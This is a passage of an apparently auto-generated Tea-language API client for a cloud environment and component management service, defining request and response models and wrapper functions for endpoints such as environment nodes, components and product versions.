async function listAlicloudRegionWithOptions(headers: map[string]string, runtime: Util.RuntimeOptions): ListAlicloudRegionResponse {
var req = new OpenApi.OpenApiRequest{
headers = headers,
};
return doROARequest('ListAlicloudRegion', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/alicloud/regions`, 'json', req, runtime);
}
model ListComponentVersionsRequest {
pageNum?: int32(name='pageNum'),
pageSize?: int32(name='pageSize'),
platforms?: [
{
architecture?: string(name='architecture'),
os?: string(name='os'),
}
](name='platforms'),
}
model ListComponentVersionsShrinkRequest {
pageNum?: int32(name='pageNum'),
pageSize?: int32(name='pageSize'),
platformsShrink?: string(name='platforms'),
}
model ListComponentVersionsResponseBody = {
requestId?: string(name='RequestId'),
data?: {
list?: [
{
appVersion?: string(name='appVersion'),
componentName?: string(name='componentName'),
componentUID?: string(name='componentUID'),
description?: string(name='description'),
documents?: string(name='documents'),
imagesMapping?: string(name='imagesMapping'),
orchestrationValues?: string(name='orchestrationValues'),
packageURL?: string(name='packageURL'),
parentComponent?: boolean(name='parentComponent'),
provider?: string(name='provider'),
readme?: string(name='readme'),
resources?: string(name='resources'),
uid?: string(name='uid'),
version?: string(name='version'),
}
](name='list'),
pageNum?: int32(name='pageNum'),
pageSize?: int32(name='pageSize'),
total?: int32(name='total'),
}(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model ListComponentVersionsResponse = {
headers: map[string]string(name='headers'),
body: ListComponentVersionsResponseBody(name='body'),
}
async function listComponentVersions(uid: string, request: ListComponentVersionsRequest): ListComponentVersionsResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return listComponentVersionsWithOptions(uid, request, headers, runtime);
}
async function listComponentVersionsWithOptions(uid: string, tmpReq: ListComponentVersionsRequest, headers: map[string]string, runtime: Util.RuntimeOptions): ListComponentVersionsResponse {
Util.validateModel(tmpReq);
var request = new ListComponentVersionsShrinkRequest{};
OpenApiUtil.convert(tmpReq, request);
if (!Util.isUnset(tmpReq.platforms)) {
request.platformsShrink = OpenApiUtil.arrayToStringWithSpecifiedStyle(tmpReq.platforms, 'platforms', 'json');
}
var query : map[string]any= {};
if (!Util.isUnset(request.pageNum)) {
query.pageNum = request.pageNum;
}
if (!Util.isUnset(request.pageSize)) {
query.pageSize = request.pageSize;
}
if (!Util.isUnset(request.platformsShrink)) {
query.platforms = request.platformsShrink;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
query = OpenApiUtil.query(query),
};
return doROARequest('ListComponentVersions', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/components/${uid}/versions`, 'json', req, runtime);
}
model UpdateEnvironmentNodesRequest {
envUID?: string(name='envUID'),
labels?: map[string]any(name='labels'),
rootPassword?: string(name='rootPassword'),
taints?: [
{
effect?: string(name='effect'),
key?: string(name='key'),
value?: string(name='value'),
}
](name='taints'),
etcdDisk?: string(name='etcdDisk', description='etcd数据盘'),
tridentSystemDisk?: string(name='tridentSystemDisk', description='k8s管控数据盘'),
tridentSystemSizeDisk?: int32(name='tridentSystemSizeDisk', description='k8s管控数据盘大小'),
applicationDisk?: string(name='applicationDisk', description='保留业务分区'),
}
model UpdateEnvironmentNodesResponseBody = {
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model UpdateEnvironmentNodesResponse = {
headers: map[string]string(name='headers'),
body: UpdateEnvironmentNodesResponseBody(name='body'),
}
async function updateEnvironmentNodes(uid: string, request: UpdateEnvironmentNodesRequest): UpdateEnvironmentNodesResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return updateEnvironmentNodesWithOptions(uid, request, headers, runtime);
}
async function updateEnvironmentNodesWithOptions(uid: string, request: UpdateEnvironmentNodesRequest, headers: map[string]string, runtime: Util.RuntimeOptions): UpdateEnvironmentNodesResponse {
Util.validateModel(request);
var body : map[string]any= {};
if (!Util.isUnset(request.envUID)) {
body.envUID = request.envUID;
}
if (!Util.isUnset(request.labels)) {
body.labels = request.labels;
}
if (!Util.isUnset(request.rootPassword)) {
body.rootPassword = request.rootPassword;
}
if (!Util.isUnset(request.taints)) {
body.taints = request.taints;
}
if (!Util.isUnset(request.etcdDisk)) {
body.etcdDisk = request.etcdDisk;
}
if (!Util.isUnset(request.tridentSystemDisk)) {
body.tridentSystemDisk = request.tridentSystemDisk;
}
if (!Util.isUnset(request.tridentSystemSizeDisk)) {
body.tridentSystemSizeDisk = request.tridentSystemSizeDisk;
}
if (!Util.isUnset(request.applicationDisk)) {
body.applicationDisk = request.applicationDisk;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
body = OpenApiUtil.parseToMap(body),
};
return doROARequest('UpdateEnvironmentNodes', '2020-12-01', 'HTTPS', 'PUT', 'AK', `/api/v1/environmentnodes/${uid}`, 'json', req, runtime);
}
model DeleteAuthorizationHeaders {
commonHeaders?: map[string]string,
clientToken?: string(name='ClientToken'),
}
model DeleteAuthorizationResponseBody = {
success?: boolean(name='success'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
}
model DeleteAuthorizationResponse = {
headers: map[string]string(name='headers'),
body: DeleteAuthorizationResponseBody(name='body'),
}
async function deleteAuthorization(uid: string): DeleteAuthorizationResponse {
var runtime = new Util.RuntimeOptions{};
var headers = new DeleteAuthorizationHeaders{};
return deleteAuthorizationWithOptions(uid, headers, runtime);
}
async function deleteAuthorizationWithOptions(uid: string, headers: DeleteAuthorizationHeaders, runtime: Util.RuntimeOptions): DeleteAuthorizationResponse {
var realHeaders : map[string]string = {};
if (!Util.isUnset(headers.commonHeaders)) {
realHeaders = headers.commonHeaders;
}
if (!Util.isUnset(headers.clientToken)) {
realHeaders.ClientToken = headers.clientToken;
}
var req = new OpenApi.OpenApiRequest{
headers = realHeaders,
};
return doROARequest('DeleteAuthorization', '2020-12-01', 'HTTPS', 'DELETE', 'AK', `/api/v1/authorizations/${uid}`, 'json', req, runtime);
}
model CreateEnvironmentHeaders {
commonHeaders?: map[string]string,
clientToken?: string(name='ClientToken'),
}
model CreateEnvironmentRequest {
annotations?: string(name='annotations'),
description?: string(name='description'),
location?: string(name='location'),
name?: string(name='name'),
platform?: {
architecture?: string(name='architecture'),
os?: string(name='os'),
}(name='platform'),
vendorType?: string(name='vendorType'),
productVersionUID?: string(name='productVersionUID'),
}
model CreateEnvironmentResponseBody = {
data?: {
uid?: string(name='uid'),
}(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model CreateEnvironmentResponse = {
headers: map[string]string(name='headers'),
body: CreateEnvironmentResponseBody(name='body'),
}
async function createEnvironment(request: CreateEnvironmentRequest): CreateEnvironmentResponse {
var runtime = new Util.RuntimeOptions{};
var headers = new CreateEnvironmentHeaders{};
return createEnvironmentWithOptions(request, headers, runtime);
}
async function createEnvironmentWithOptions(request: CreateEnvironmentRequest, headers: CreateEnvironmentHeaders, runtime: Util.RuntimeOptions): CreateEnvironmentResponse {
Util.validateModel(request);
var body : map[string]any= {};
if (!Util.isUnset(request.annotations)) {
body.annotations = request.annotations;
}
if (!Util.isUnset(request.description)) {
body.description = request.description;
}
if (!Util.isUnset(request.location)) {
body.location = request.location;
}
if (!Util.isUnset(request.name)) {
body.name = request.name;
}
if (!Util.isUnset(request.platform)) {
body.platform = request.platform;
}
if (!Util.isUnset(request.vendorType)) {
body.vendorType = request.vendorType;
}
if (!Util.isUnset(request.productVersionUID)) {
body.productVersionUID = request.productVersionUID;
}
var realHeaders : map[string]string = {};
if (!Util.isUnset(headers.commonHeaders)) {
realHeaders = headers.commonHeaders;
}
if (!Util.isUnset(headers.clientToken)) {
realHeaders.ClientToken = headers.clientToken;
}
var req = new OpenApi.OpenApiRequest{
headers = realHeaders,
body = OpenApiUtil.parseToMap(body),
};
return doROARequest('CreateEnvironment', '2020-12-01', 'HTTPS', 'POST', 'AK', `/api/v1/environments`, 'json', req, runtime);
}
model GetWorkflowStatusRequest {
workflowType?: string(name='workflowType', description='ENUM:["CreateCluster","DeleteCluster","Pack","Deploy"]'),
}
model GetWorkflowStatusResponseBody = {
data?: {
status?: string(name='status'),
stepStatus?: {
name?: string(name='name', description='step name'),
status?: string(name='status', description='step status'),
workflowTasks?: [
{
name?: string(name='name', description='task name'),
status?: string(name='status', description='task status'),
}
](name='workflowTasks'),
}(name='stepStatus'),
}(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model GetWorkflowStatusResponse = {
headers: map[string]string(name='headers'),
body: GetWorkflowStatusResponseBody(name='body'),
}
async function getWorkflowStatus(xuid: string, request: GetWorkflowStatusRequest): GetWorkflowStatusResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return getWorkflowStatusWithOptions(xuid, request, headers, runtime);
}
async function getWorkflowStatusWithOptions(xuid: string, request: GetWorkflowStatusRequest, headers: map[string]string, runtime: Util.RuntimeOptions): GetWorkflowStatusResponse {
Util.validateModel(request);
var query : map[string]any= {};
if (!Util.isUnset(request.workflowType)) {
query.workflowType = request.workflowType;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
query = OpenApiUtil.query(query),
};
return doROARequest('GetWorkflowStatus', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/workflows/${xuid}/status`, 'json', req, runtime);
}
model GetEnvironmentLogRequest {
workflowType?: string(name='workflowType', description='ENUM:["CreateCluster","DeleteCluster","Pack","Deploy"]'),
stepName?: string(name='stepName', description='任务 step 的名称'),
taskName?: string(name='taskName', description='任务 task 的名称'),
}
model GetEnvironmentLogResponseBody = {
data?: {
end?: boolean(name='end', description='end 为true,代表日志停止更新'),
oldMessage?: string(name='oldMessage', description='deprecated。兼容历史日志数据'),
message?: string(name='message', description='日志数据'),
}(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model GetEnvironmentLogResponse = {
headers: map[string]string(name='headers'),
body: GetEnvironmentLogResponseBody(name='body'),
}
async function getEnvironmentLog(uid: string, request: GetEnvironmentLogRequest): GetEnvironmentLogResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return getEnvironmentLogWithOptions(uid, request, headers, runtime);
}
async function getEnvironmentLogWithOptions(uid: string, request: GetEnvironmentLogRequest, headers: map[string]string, runtime: Util.RuntimeOptions): GetEnvironmentLogResponse {
Util.validateModel(request);
var query : map[string]any= {};
if (!Util.isUnset(request.workflowType)) {
query.workflowType = request.workflowType;
}
if (!Util.isUnset(request.stepName)) {
query.stepName = request.stepName;
}
if (!Util.isUnset(request.taskName)) {
query.taskName = request.taskName;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
query = OpenApiUtil.query(query),
};
return doROARequest('GetEnvironmentLog', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/envLogs/${uid}`, 'json', req, runtime);
}
model ListEnvironmentNodeRequest {
pageNum?: int32(name='pageNum'),
pageSize?: int32(name='pageSize'),
name?: string(name='name'),
fuzzy?: string(name='fuzzy'),
nodeIp?: string(name='nodeIp'),
}
model ListEnvironmentNodeResponseBody = {
data?: {
list?: [
InstanceInfo
](name='list'),
pageNum?: long(name='pageNum'),
pageSize?: long(name='pageSize'),
total?: long(name='total'),
}(name='data'),
success?: boolean(name='success'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
}
model ListEnvironmentNodeResponse = {
headers: map[string]string(name='headers'),
body: ListEnvironmentNodeResponseBody(name='body'),
}
async function listEnvironmentNode(uid: string, request: ListEnvironmentNodeRequest): ListEnvironmentNodeResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return listEnvironmentNodeWithOptions(uid, request, headers, runtime);
}
async function listEnvironmentNodeWithOptions(uid: string, request: ListEnvironmentNodeRequest, headers: map[string]string, runtime: Util.RuntimeOptions): ListEnvironmentNodeResponse {
Util.validateModel(request);
var query : map[string]any= {};
if (!Util.isUnset(request.pageNum)) {
query.pageNum = request.pageNum;
}
if (!Util.isUnset(request.pageSize)) {
query.pageSize = request.pageSize;
}
if (!Util.isUnset(request.name)) {
query.name = request.name;
}
if (!Util.isUnset(request.fuzzy)) {
query.fuzzy = request.fuzzy;
}
if (!Util.isUnset(request.nodeIp)) {
query.nodeIp = request.nodeIp;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
query = OpenApiUtil.query(query),
};
return doROARequest('ListEnvironmentNode', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/environments/${uid}/nodes`, 'json', req, runtime);
}
model ListProductVersionRelatedFoundationComponentVersionsRequest {
onlyEnabled?: boolean(name='onlyEnabled'),
}
model ListProductVersionRelatedFoundationComponentVersionsResponseBody = {
data?: [
ProductComponentRelationDetail
](name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model ListProductVersionRelatedFoundationComponentVersionsResponse = {
headers: map[string]string(name='headers'),
body: ListProductVersionRelatedFoundationComponentVersionsResponseBody(name='body'),
}
async function listProductVersionRelatedFoundationComponentVersions(uid: string, request: ListProductVersionRelatedFoundationComponentVersionsRequest): ListProductVersionRelatedFoundationComponentVersionsResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return listProductVersionRelatedFoundationComponentVersionsWithOptions(uid, request, headers, runtime);
}
async function listProductVersionRelatedFoundationComponentVersionsWithOptions(uid: string, request: ListProductVersionRelatedFoundationComponentVersionsRequest, headers: map[string]string, runtime: Util.RuntimeOptions): ListProductVersionRelatedFoundationComponentVersionsResponse {
Util.validateModel(request);
var query : map[string]any= {};
if (!Util.isUnset(request.onlyEnabled)) {
query.onlyEnabled = request.onlyEnabled;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
query = OpenApiUtil.query(query),
};
return doROARequest('ListProductVersionRelatedFoundationComponentVersions', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/product_versions/${uid}/foundation/component_versions`, 'json', req, runtime);
}
model SyncComponentRequest {
region?: string(name='region'),
bucketName?: string(name='bucketName'),
}
model SyncComponentResponseBody = {
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
status?: string(name='status'),
success?: boolean(name='success'),
}
model SyncComponentResponse = {
headers: map[string]string(name='headers'),
body: SyncComponentResponseBody(name='body'),
}
async function syncComponent(request: SyncComponentRequest): SyncComponentResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return syncComponentWithOptions(request, headers, runtime);
}
async function syncComponentWithOptions(request: SyncComponentRequest, headers: map[string]string, runtime: Util.RuntimeOptions): SyncComponentResponse {
Util.validateModel(request);
var query : map[string]any= {};
if (!Util.isUnset(request.region)) {
query.region = request.region;
}
if (!Util.isUnset(request.bucketName)) {
query.bucketName = request.bucketName;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
query = OpenApiUtil.query(query),
};
return doROARequest('SyncComponent', '2020-12-01', 'HTTPS', 'GET', 'AK', `/integration/api/v1/oss/sync/apps`, 'json', req, runtime);
}
model UpdateComponentToProductRequest {
componentVersionID?: string(name='componentVersionID', description='the component Version ID'),
}
model UpdateComponentToProductResponseBody = {
requestId?: string(name='requestId', description='Id of the request'),
}
model UpdateComponentToProductResponse = {
headers: map[string]string(name='headers'),
body: UpdateComponentToProductResponseBody(name='body'),
}
async function updateComponentToProduct(id: string, versionId: string, productComponentVersionRelationId: string, request: UpdateComponentToProductRequest): UpdateComponentToProductResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return updateComponentToProductWithOptions(id, versionId, productComponentVersionRelationId, request, headers, runtime);
}
async function updateComponentToProductWithOptions(id: string, versionId: string, productComponentVersionRelationId: string, request: UpdateComponentToProductRequest, headers: map[string]string, runtime: Util.RuntimeOptions): UpdateComponentToProductResponse {
Util.validateModel(request);
var query : map[string]any= {};
if (!Util.isUnset(request.componentVersionID)) {
query.componentVersionID = request.componentVersionID;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
query = OpenApiUtil.query(query),
};
return doROARequest('UpdateComponentToProduct', '2020-12-01', 'HTTPS', 'PUT', 'AK', `/integration/api/v1/products/${id}/versions/${versionId}/componentVersionRelations/${productComponentVersionRelationId}`, 'json', req, runtime);
}
model GetComponentResponseBody = {
data?: {
annotations?: {
additionalProp1?: string(name='additionalProp1'),
additionalProp2?: string(name='additionalProp2'),
additionalProp3?: string(name='additionalProp3'),
}(name='annotations'),
category?: string(name='category'),
description?: string(name='description'),
documents?: string(name='documents'),
name?: string(name='name'),
provider?: string(name='provider'),
public?: boolean(name='public'),
singleton?: boolean(name='singleton'),
source?: string(name='source'),
uid?: string(name='uid'),
}(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model GetComponentResponse = {
headers: map[string]string(name='headers'),
body: GetComponentResponseBody(name='body'),
}
async function getComponent(uid: string): GetComponentResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return getComponentWithOptions(uid, headers, runtime);
}
async function getComponentWithOptions(uid: string, headers: map[string]string, runtime: Util.RuntimeOptions): GetComponentResponse {
var req = new OpenApi.OpenApiRequest{
headers = headers,
};
return doROARequest('GetComponent', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/components/${uid}`, 'json', req, runtime);
}
model GetLicenseResponseBody = {
requestId?: string(name='requestId', description='Id of the request'),
}
model GetLicenseResponse = {
headers: map[string]string(name='headers'),
body: GetLicenseResponseBody(name='body'),
}
async function getLicense(uid: string): GetLicenseResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return getLicenseWithOptions(uid, headers, runtime);
}
async function getLicenseWithOptions(uid: string, headers: map[string]string, runtime: Util.RuntimeOptions): GetLicenseResponse {
var req = new OpenApi.OpenApiRequest{
headers = headers,
};
return doROARequest('GetLicense', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/environments/${uid}/licenses`, 'json', req, runtime);
}
model ListAlicloudVPCResponseBody = {
data?: {
pageNumber?: int32(name='PageNumber'),
pageSize?: int32(name='PageSize'),
requestId?: string(name='RequestId'),
totalCount?: int32(name='TotalCount'),
vpcs?: {
vpc?: [
{
cidrBlock?: string(name='CidrBlock'),
creationTime?: string(name='CreationTime'),
description?: string(name='Description'),
isDefault?: boolean(name='IsDefault'),
regionId?: string(name='RegionId'),
status?: string(name='Status'),
userCidrs?: {
userCidr?: string(name='UserCidr'),
}(name='UserCidrs'),
VRouterId?: string(name='VRouterId'),
vSwitchIds?: {
vSwitchId?: [ string ](name='VSwitchId'),
}(name='VSwitchIds'),
vpcId?: string(name='VpcId'),
vpcName?: string(name='VpcName'),
}
](name='Vpc'),
}(name='Vpcs'),
}(name='data'),
success?: boolean(name='success'),
}
model ListAlicloudVPCResponse = {
headers: map[string]string(name='headers'),
body: ListAlicloudVPCResponseBody(name='body'),
}
async function listAlicloudVPC(regionid: string): ListAlicloudVPCResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return listAlicloudVPCWithOptions(regionid, headers, runtime);
}
async function listAlicloudVPCWithOptions(regionid: string, headers: map[string]string, runtime: Util.RuntimeOptions): ListAlicloudVPCResponse {
var req = new OpenApi.OpenApiRequest{
headers = headers,
};
return doROARequest('ListAlicloudVPC', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/alicloud/regions/${regionid}/vpcs`, 'json', req, runtime);
}
model AddEnvironmentNodesRequest {
labels?: map[string]any(name='labels'),
masterPrivateIPs?: [ string ](name='masterPrivateIPs', description='master privateId'),
rootPassword?: string(name='rootPassword'),
taints?: [
{
effect?: string(name='effect'),
key?: string(name='key'),
value?: string(name='value'),
}
](name='taints'),
workerPrivateIPs?: [ string ](name='workerPrivateIPs', description='work privateIp'),
etcdDisk?: string(name='etcdDisk', description='etcd数据盘'),
tridentSystemDisk?: string(name='tridentSystemDisk', description='k8s管控数据盘'),
tridentSystemSizeDisk?: int32(name='tridentSystemSizeDisk', description='k8s管控数据盘大小'),
applicationDisk?: string(name='applicationDisk', description='保留业务分区'),
}
model AddEnvironmentNodesResponseBody = {
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model AddEnvironmentNodesResponse = {
headers: map[string]string(name='headers'),
body: AddEnvironmentNodesResponseBody(name='body'),
}
async function addEnvironmentNodes(uid: string, request: AddEnvironmentNodesRequest): AddEnvironmentNodesResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return addEnvironmentNodesWithOptions(uid, request, headers, runtime);
}
async function addEnvironmentNodesWithOptions(uid: string, request: AddEnvironmentNodesRequest, headers: map[string]string, runtime: Util.RuntimeOptions): AddEnvironmentNodesResponse {
Util.validateModel(request);
var body : map[string]any= {};
if (!Util.isUnset(request.labels)) {
body.labels = request.labels;
}
if (!Util.isUnset(request.masterPrivateIPs)) {
body.masterPrivateIPs = request.masterPrivateIPs;
}
if (!Util.isUnset(request.rootPassword)) {
body.rootPassword = request.rootPassword;
}
if (!Util.isUnset(request.taints)) {
body.taints = request.taints;
}
if (!Util.isUnset(request.workerPrivateIPs)) {
body.workerPrivateIPs = request.workerPrivateIPs;
}
if (!Util.isUnset(request.etcdDisk)) {
body.etcdDisk = request.etcdDisk;
}
if (!Util.isUnset(request.tridentSystemDisk)) {
body.tridentSystemDisk = request.tridentSystemDisk;
}
if (!Util.isUnset(request.tridentSystemSizeDisk)) {
body.tridentSystemSizeDisk = request.tridentSystemSizeDisk;
}
if (!Util.isUnset(request.applicationDisk)) {
body.applicationDisk = request.applicationDisk;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
body = OpenApiUtil.parseToMap(body),
};
return doROARequest('AddEnvironmentNodes', '2020-12-01', 'HTTPS', 'POST', 'AK', `/api/v1/environments/${uid}/batch_nodes`, 'json', req, runtime);
}
model DeleteComponentResponseBody = {
errMessage?: string(name='ErrMessage'),
success?: boolean(name='Success'),
errCode?: string(name='errCode'),
}
model DeleteComponentResponse = {
headers: map[string]string(name='headers'),
body: DeleteComponentResponseBody(name='body'),
}
async function deleteComponent(uid: string): DeleteComponentResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return deleteComponentWithOptions(uid, headers, runtime);
}
async function deleteComponentWithOptions(uid: string, headers: map[string]string, runtime: Util.RuntimeOptions): DeleteComponentResponse {
var req = new OpenApi.OpenApiRequest{
headers = headers,
};
return doROARequest('DeleteComponent', '2020-12-01', 'HTTPS', 'DELETE', 'AK', `/integration/api/v1/components/${uid}`, 'json', req, runtime);
}
model DeleteProductComponentResponseBody = {
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
status?: string(name='status'),
success?: boolean(name='success'),
}
model DeleteProductComponentResponse = {
headers: map[string]string(name='headers'),
body: DeleteProductComponentResponseBody(name='body'),
}
async function deleteProductComponent(id: string, versionId: string, productComponentVersionRelationId: string): DeleteProductComponentResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return deleteProductComponentWithOptions(id, versionId, productComponentVersionRelationId, headers, runtime);
}
async function deleteProductComponentWithOptions(id: string, versionId: string, productComponentVersionRelationId: string, headers: map[string]string, runtime: Util.RuntimeOptions): DeleteProductComponentResponse {
var req = new OpenApi.OpenApiRequest{
headers = headers,
};
return doROARequest('DeleteProductComponent', '2020-12-01', 'HTTPS', 'DELETE', 'AK', `/integration/api/v1/products/${id}/versions/${versionId}/componentVersionRelations/${productComponentVersionRelationId}`, 'json', req, runtime);
}
model CreateEnvironmentWithSnapshotRequest {
environmentDesc?: string(name='environmentDesc'),
environmentName?: string(name='environmentName'),
}
model CreateEnvironmentWithSnapshotResponseBody = {
data?: {
uid?: string(name='uid'),
}(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model CreateEnvironmentWithSnapshotResponse = {
headers: map[string]string(name='headers'),
body: CreateEnvironmentWithSnapshotResponseBody(name='body'),
}
async function createEnvironmentWithSnapshot(uid: string, request: CreateEnvironmentWithSnapshotRequest): CreateEnvironmentWithSnapshotResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return createEnvironmentWithSnapshotWithOptions(uid, request, headers, runtime);
}
async function createEnvironmentWithSnapshotWithOptions(uid: string, request: CreateEnvironmentWithSnapshotRequest, headers: map[string]string, runtime: Util.RuntimeOptions): CreateEnvironmentWithSnapshotResponse {
Util.validateModel(request);
var body : map[string]any= {};
if (!Util.isUnset(request.environmentDesc)) {
body.environmentDesc = request.environmentDesc;
}
if (!Util.isUnset(request.environmentName)) {
body.environmentName = request.environmentName;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
body = OpenApiUtil.parseToMap(body),
};
return doROARequest('CreateEnvironmentWithSnapshot', '2020-12-01', 'HTTPS', 'POST', 'AK', `/api/v1/snapshots/${uid}/environments`, 'json', req, runtime);
}
model ListEnvChangeRecordNodesRequest {
pageNum?: string(name='pageNum'),
pageSize?: string(name='pageSize'),
}
model ListEnvChangeRecordNodesResponseBody = {
data?: {
list?: [
{
privateIP?: string(name='privateIP', description='节点'),
identifier?: string(name='identifier', description='节点类型'),
cpu?: string(name='cpu', description='cpu'),
memory?: string(name='memory', description='内存'),
name?: string(name='name', description='系统盘起始'),
capacity?: string(name='capacity', description='系统盘结束'),
label?: map[string]any(name='label', description='标签'),
taints?: map[string]any(name='taints', description='污点'),
}
](name='list'),
}(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
}
model ListEnvChangeRecordNodesResponse = {
headers: map[string]string(name='headers'),
body: ListEnvChangeRecordNodesResponseBody(name='body'),
}
async function listEnvChangeRecordNodes(uid: string, recordUid: string, request: ListEnvChangeRecordNodesRequest): ListEnvChangeRecordNodesResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return listEnvChangeRecordNodesWithOptions(uid, recordUid, request, headers, runtime);
}
async function listEnvChangeRecordNodesWithOptions(uid: string, recordUid: string, request: ListEnvChangeRecordNodesRequest, headers: map[string]string, runtime: Util.RuntimeOptions): ListEnvChangeRecordNodesResponse {
Util.validateModel(request);
var query : map[string]any= {};
if (!Util.isUnset(request.pageNum)) {
query.pageNum = request.pageNum;
}
if (!Util.isUnset(request.pageSize)) {
query.pageSize = request.pageSize;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
query = OpenApiUtil.query(query),
};
return doROARequest('ListEnvChangeRecordNodes', '2020-12-01', 'HTTPS', 'GET', 'AK', `/api/v1/environments/${uid}/change_records/${recordUid}/nodes`, 'json', req, runtime);
}
model UpdateProductVersionRequest {
compatibleVersions?: string(name='compatibleVersions'),
description?: string(name='description'),
version?: string(name='version'),
}
model UpdateProductVersionResponseBody = {
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model UpdateProductVersionResponse = {
headers: map[string]string(name='headers'),
body: UpdateProductVersionResponseBody(name='body'),
}
async function updateProductVersion(uid: string, request: UpdateProductVersionRequest): UpdateProductVersionResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return updateProductVersionWithOptions(uid, request, headers, runtime);
}
async function updateProductVersionWithOptions(uid: string, request: UpdateProductVersionRequest, headers: map[string]string, runtime: Util.RuntimeOptions): UpdateProductVersionResponse {
Util.validateModel(request);
var body : map[string]any= {};
if (!Util.isUnset(request.compatibleVersions)) {
body.compatibleVersions = request.compatibleVersions;
}
if (!Util.isUnset(request.description)) {
body.description = request.description;
}
if (!Util.isUnset(request.version)) {
body.version = request.version;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
body = OpenApiUtil.parseToMap(body),
};
return doROARequest('UpdateProductVersion', '2020-12-01', 'HTTPS', 'PUT', 'AK', `/api/v1/product_versions/${uid}`, 'json', req, runtime);
}
model GetChildrenComponentVersionParametersListRequest {
relationId?: string(name='relation_id'),
}
model GetChildrenComponentVersionParametersListResponseBody = {
data?: {
annotations?: {
additionalProp1?: string(name='additionalProp1'),
additionalProp2?: string(name='additionalProp2'),
additionalProp3?: string(name='additionalProp3'),
}(name='annotations'),
category?: string(name='category'),
class?: string(name='class'),
description?: string(name='description'),
documents?: [ string ](name='documents'),
name?: string(name='name'),
provider?: string(name='provider'),
uid?: string(name='uid'),
}(name='data'),
errCode?: string(name='errCode'),
errMsg?: string(name='errMsg'),
success?: boolean(name='success'),
}
model GetChildrenComponentVersionParametersListResponse = {
headers: map[string]string(name='headers'),
body: GetChildrenComponentVersionParametersListResponseBody(name='body'),
}
async function getChildrenComponentVersionParametersList(id: string, versionId: string, request: GetChildrenComponentVersionParametersListRequest): GetChildrenComponentVersionParametersListResponse {
var runtime = new Util.RuntimeOptions{};
var headers : map[string]string = {};
return getChildrenComponentVersionParametersListWithOptions(id, versionId, request, headers, runtime);
}
async function getChildrenComponentVersionParametersListWithOptions(id: string, versionId: string, request: GetChildrenComponentVersionParametersListRequest, headers: map[string]string, runtime: Util.RuntimeOptions): GetChildrenComponentVersionParametersListResponse {
Util.validateModel(request);
var query : map[string]any= {};
if (!Util.isUnset(request.relationId)) {
query.relation_id = request.relationId;
}
var req = new OpenApi.OpenApiRequest{
headers = headers,
query = OpenApiUtil.query(query),
};
return doROARequest('GetChildrenComponentVersionParametersList', '2020-12-01', 'HTTPS', 'GET', 'AK', `/integration/api/v1/components/${id}/versions/${versionId}/parameters`, 'json', req, runtime);
}
model GetLatestVersionDifferencesRequest {
preVersionID?: string(name='preVersionID', description='上一个产品版本id'),
}
model GetLatestVersionDifferencesResponseBody = {
requestId?: string(name='requestId', description='Id of the request'),
data?: [
{
componentName?: string(name='componentName', description='组件名称'),
releaseName?: string(name='releaseName', description='组件实例名称'),
